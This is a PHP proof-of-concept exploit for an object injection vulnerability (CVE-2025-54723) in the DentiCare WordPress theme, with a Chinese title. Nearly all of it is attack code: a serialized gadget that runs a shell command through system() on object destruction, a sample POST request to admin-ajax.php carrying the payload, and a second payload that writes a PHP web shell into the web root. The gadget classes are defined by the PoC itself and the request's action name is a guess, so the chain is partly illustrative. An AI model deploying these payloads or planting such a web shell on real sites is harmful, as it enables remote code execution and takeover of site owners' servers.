CVE-2025-54723 WordPress DentiCare主题不安全反序列化漏洞

<?php /** * CVE-2025-54723 PoC - DentiCare PHP Object Injection * Target: BoldThemes DentiCare WordPress Theme < 1.4.3 * Vulnerability: Unsafe deserialization of untrusted data * * This PoC demonstrates the object injection vulnerability. * Adjust the target URL and payload accordingly. */ // Attacker's controlled gadget class for demonstration class MaliciousPayload { public $cmd; public function __destruct() { // This will be executed during object destruction system($this->cmd); } } // Generate malicious serialized object $malicious_object = new MaliciousPayload(); $malicious_object->cmd = 'whoami'; // Command to execute $payload = serialize($malicious_object); echo "Malicious Payload (Base64 encoded):\n"; echo base64_encode($payload) . "\n"; echo "\nRaw Payload:\n"; echo $payload . "\n"; /** * Example attack scenario: * 1. Identify the deserialization sink in DentiCare theme * 2. Find an entry point (e.g., POST parameter, Cookie, etc.) * 3. Send the malicious payload: * * POST /wp-admin/admin-ajax.php HTTP/1.1 * Host: target.com * Content-Type: application/x-www-form-urlencoded * * action=denticare_action&data=BASE64_ENCODED_PAYLOAD * * 4. The unserialize() call will instantiate the object * 5. When the script ends, __destruct() is called, executing the command */ // Alternative: Using PHP gadget chain (requires available classes) class FileOperation { private $filename; private $data; public function __construct($filename, $data) { $this->filename = $filename; $this->data = $data; } public function __destruct() { // Could be used to write malicious files file_put_contents($this->filename, $this->data); } } // Generate file write payload $file_payload = new FileOperation('/var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>'); echo "\nFile Write Payload (Base64):\n"; echo base64_encode(serialize($file_payload)) . "\n"; ?>